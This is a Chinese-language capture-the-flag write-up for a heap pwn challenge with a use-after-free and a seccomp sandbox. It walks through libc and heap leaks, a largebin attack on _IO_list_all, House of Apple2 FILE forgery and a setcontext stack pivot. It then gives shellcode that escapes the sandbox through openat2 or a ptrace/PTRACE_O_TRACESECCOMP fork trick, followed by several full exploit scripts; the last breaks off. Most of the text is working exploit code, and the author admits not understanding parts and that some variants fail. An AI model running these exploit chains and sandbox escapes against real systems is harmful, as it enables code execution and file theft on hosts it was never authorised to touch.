题目分析

增删改查都有,存在uaf,可以直接largebin attack




禁用了open,openat,execve等

思路分析
largebin attack之后把_IO_list_all改成堆地址,接着打一个apple2即可劫持程序控制流,但是由于程序禁用了open和openat2,所以常规的orw不能用,故一下有两个思路
1.利用openat2系统调用代替open,调用号为437,其函数原型如下
ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);
这个函数封装了三个参数到结构体how中:
struct open_how {
__u64 flags;
__u64 mode;
__u64 resolve;
};
实际使用的时候要把dfd设置成-100,因为函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。
filename设置成flagaddr,how设置成一个可控地址,并把how里面的flags,mode,resolve都设置成0(至于原因不是特别懂,调出来的)
参数size必须为结构体open_how的大小,也就是0x18。
附一段shellcode,是利用了openat2的orwpayload
shellcode = asm("""
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
不过利用这个方法有个弊端,那就是openat2函数是在kernel 5.6 才引入的,因此在较低的内核无法用openat2打开
2.使用ptrace去hook->seccomp
至于原理,完全不懂,只会用一套板子
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")
跑一下这段shellcode,就可以在子进程内关闭沙箱,至于如何才能跑shellcode?调用mprotect那一套不多赘述
具体打法
前期的打法是一样的,只有在劫持程序控制流之后,上述两种方法才有区别,所以在这里一块讲了largebin attack的部分
add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
先把libc和heap泄露出来,这里不多说,比较简单
接着利用UAF漏洞,对已释放的堆块进行edit操作,修改bk_nextsize,实现largebin attack
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
这里也不多赘述
在做一些前期的数据准备,准备走传统的apple2打法
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
另外,我们要关注几段magic gadget,因为本题没有
mov rdx,[rdi+8]
mov [rsp],rax
call [rdx+0x20]
所以我们需要重新找magic gadget来控制程序流,很显然一个gadget是不够用的,这里我们找了两段magic gadget
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
具体是怎么劫持控制流的呢?看下面的这张图吧,具体就不多赘述了,而且每个题都不一定一样

最终执行到setcontext,再利用setcontext设置各个寄存器,包括rsp,从而顺道实现了栈迁移
openat2打法
接下来就先来说说openat2的打法,openat2也有两种打法,这里分条陈述
1.构造ROP链
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(0xffffffffffffff9c)#rdi
payload+=p64(flagaddr)#rsi
payload+=p64(0)*2
payload+=p64(how)#rdx
payload+=p64(0)*2
payload+=p64(rsp+8)
payload+=p64(pop_rax)
gadgat3=0x241D6+libcbase
data = flat({
0:bytes(f2)[16:],
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x2f0:{
0x10:gadgat3,
0x28:[0x18,payloadbase+0x10],
0x58:0,
0x70:{#这里是调用完setcontext之后rsp指向的位置
0:pop_rax,
0x8:437,
0x10:syscall,
0x18:pop_rdi,
0x20:3,
0x28:pop_rsi,
0x30:flagaddr,
0x38:pop_rax_rdx_rbx,
0x40:[0,300,0],
0x58:syscall,
0x60:pop_rdi,
0x68:1,
0x70:pop_rax,
0x78:1,
0x80:syscall
},
},
0x3f0:'./flag\0',
0x400:[0,0,0]
})
前面思路分析中,有一个要点没有提到,那就是openat2的第四个参数,在实际调试中,这个参数存放在r10里,不看还好,一查找,你会发现,没有任何和pop r10,ret有关的gadget,而所有的mov指令,r10都是mov的第二个参数,也就是说,r10只作为被mov的值,本身不会改变,这就麻烦了,我就直接到libc里去找,别说,还真让我找到了,在0x241D6的位置我找到了这样一段gadget
.text:00000000000241D6 mov r10, [rsp+10h]
.text:00000000000241DB mov r11, [rsp+18h]
.text:00000000000241E0
.text:00000000000241E0 loc_241E0: ; CODE XREF: sub_240D0+1BE↓j
.text:00000000000241E0 cmp qword ptr [r11], 0
.text:00000000000241E4 jz short loc_241FA
.text:00000000000241E6 mov r12, [rsp+58h+var_50]
.text:00000000000241EB add r12, r10
.text:00000000000241EE shl r12, 4
.text:00000000000241F2 mov rdx, [rbx+r12+10h]
.text:00000000000241F7 mov [r11], rdx
.text:00000000000241FA
.text:00000000000241FA loc_241FA: ; CODE XREF: sub_240D0+114↑j
.text:00000000000241FA add rsp, 28h
.text:00000000000241FE pop rbx
.text:00000000000241FF pop rbp
.text:0000000000024200 pop r12
.text:0000000000024202 pop r13
.text:0000000000024204 pop r14
.text:0000000000024206 pop r15
.text:0000000000024208 retn
这里可以把[rsp+0x10]存放的东西付给r10,把[rsp+0x18]存放的东西赋给r11,接着比较一下[r11]存放的东西是不是0,如果是0,那么会跳转到0x241FA的位置,执行一个add rsp(相当于好几个pop),再来好几个pop,最后return,所以我们只需要空出一定的空间,让程序执行一堆没用的pop就可以了,当然,前提是要在[rsp+0x18]的位置存放一个地址赋给r11,这个地址存放的值是0,这段gadget记为gadget3
其他的就是调用了orw了,这块不必多说了
2.mprotect+shellcode
思路和前面的有重合,再利用setcontext设置好寄存器并进行栈迁移后,调用mprotect把堆设置成可执行
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)
data = flat({
0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x300:{
0:pop_rax,
0x8:10,
0x10:syscall,
0x18:0x1e30+heapbase,
0x20:shellcode
},
})
shellcode就是第一个板块的openat2的shellcode
ptrace打法
原理完全不懂,只会套板子,关于这个题为什么可以这样打,貌似和那个return TRACE有关系,貌似是如果是return kill就不行了,具体为什么鼠鼠也不知道,有了解的师傅求教
直接打shellcode就可以了
1.直接orw
shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code
/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall
/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error
/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error
/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end
child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1, 3, 0, 0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
但是本地不通,费解,貌似是fork失败了
2.直接getshell
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")
这段payload能够稳定的getshell,但是用不了ls,cat等命令,原因参考自羊城杯 2024 pwn writeup | Qanux’s space
那为什么 ls、cat 等指令无法使用呢?这里以 ls 为例解释一下:
ls命令的实现可以分为以下几个步骤:
- 打开目录:首先,需要打开要列出文件的目录。可以使用
open()系统调用来打开目录,并获得一个目录文件描述符。 - 读取目录项:通过
readdir()系统调用,可以从打开的目录中读取目录项。readdir()会返回一个指向目录项结构体的指针。通过循环调用readdir(),可以逐个读取目录中的文件。 - 过滤隐藏文件:在读取目录项之后,需要对目录项进行过滤。Linux中的隐藏文件以.开头,可以通过判断目录项的名字的第一个字符是否为.来过滤隐藏文件。
- 输出目录项信息:读取到一个目录项之后,可以通过目录项结构体中的字段获取文件的属性信息,比如文件名、大小、修改时间等。可以使用
printf()函数将这些信息输出到终端。 - 关闭目录:使用
closedir()系统调用来关闭打开的目录,释放资源。
可以看到执行 ls 命令需要使用 open 系统调用,可是我们拿到的 shell 依然处于沙箱的环境中,open 系统调用给禁止使用,这也意味着我们无法使用 ls 命令
所以Qanux师傅给了这样一段命令
# ls
echo *
# cat flag
while IFS = read -r line; do
echo "$line"
done < flag
不过我执行了之后还是出不来flag,可能是本地和远端环境的问题吧?不过我远端也没有打过
完整payload
1.openat2+rop
from pwnplus import *
from pwncli import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
p.sla(b'>',str(num))
def add(index,size):
choose(1)
p.sla(b'Index: ',str(index))
p.sla(b'Size: ',str(size))
def delete(index):
choose(2)
p.sla(b'Index: ',str(index))
def edit(index,content):
choose(3)
p.sla(b'Index: ',str(index))
p.sla(b'Content: ',content)
def show(index):
choose(4)
p.sla(b'Index: ',str(index))
add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
how=payloadbase+0x410
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
prctl=libcbase+libc.symbols['prctl']
system=libcbase+libc.symbols['system']
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(0xffffffffffffff9c)#rdi
payload+=p64(flagaddr)#rsi
payload+=p64(0)*2
payload+=p64(how)#rdx
payload+=p64(0)*2
payload+=p64(rsp+8)
payload+=p64(pop_rax)
gadgat3=0x241D6+libcbase
data = flat({
0:bytes(f2)[16:],
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x2f0:{
0x10:gadgat3,
0x28:[0x18,payloadbase+0x10],
0x58:0,
0x70:{
0:pop_rax,
0x8:437,
0x10:syscall,
0x18:pop_rdi,
0x20:3,
0x28:pop_rsi,
0x30:flagaddr,
0x38:pop_rax_rdx_rbx,
0x40:[0,300,0],
0x58:syscall,
0x60:pop_rdi,
0x68:1,
0x70:pop_rax,
0x78:1,
0x80:syscall
},
},
0x3f0:'./flag\0',
0x400:[0,0,0]
})
edit(4,data)
print(hex(gadget2))
# p.debug()
choose(5)
p.ia()
2.openat2+shellcode
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
p.sla(b'>',str(num))
def add(index,size):
choose(1)
p.sla(b'Index: ',str(index))
p.sla(b'Size: ',str(size))
def delete(index):
choose(2)
p.sla(b'Index: ',str(index))
def edit(index,content):
choose(3)
p.sla(b'Index: ',str(index))
p.sla(b'Content: ',content)
def show(index):
choose(4)
p.sla(b'Index: ',str(index))
add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17
shellcode = asm("""
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
data = flat({
0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x300:{
0:pop_rax,
0x8:10,
0x10:syscall,
0x18:0x1e30+heapbase,
0x20:shellcode
},
})
edit(4,data)
print(hex(gadget2))
p.debug()
choose(5)
p.ia()
3.ptrace+orw
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
p.sla(b'>',str(num))
def add(index,size):
choose(1)
p.sla(b'Index: ',str(index))
p.sla(b'Size: ',str(size))
def delete(index):
choose(2)
p.sla(b'Index: ',str(index))
def edit(index,content):
choose(3)
p.sla(b'Index: ',str(index))
p.sla(b'Content: ',content)
def show(index):
choose(4)
p.sla(b'Index: ',str(index))
add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17
shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code
/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall
/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error
/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error
/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end
child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1, 3, 0, 0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
data = flat({
0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x300:{
0:pop_rax,
0x8:10,
0x10:syscall,
0x18:0x1e30+heapbase,
0x20:asm(shellcode2)
},
})
edit(4,data)
print(hex(gadget2))
p.debug()
choose(5)
p.ia()
4.ptrace+execve
from pwnplus import *
from pwncli import *
import pwnlib.shellcraft as sc
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc = ELF('./libc.so.6')
def choose(num):
p.sla(b'>',str(num))
def add(index,size):
choose(1)
p.sla(b'Index: ',str(index))
p.sla(b'Size: ',str(size))
def delete(index):
choose(2)
p.sla(b'Index: ',str(index))
def edit(index,content):
choose(3)
p.sla(b'Index: ',str(index))
p.sla(b'Content: ',content)
def show(index):
choose(4)
p.sla(b'Index: ',str(index))
add(0,0x600)
add(1,0x610)
add(2,0x610)
add(3,0x610)
add(4,0x600)
add(5,0x600)
delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
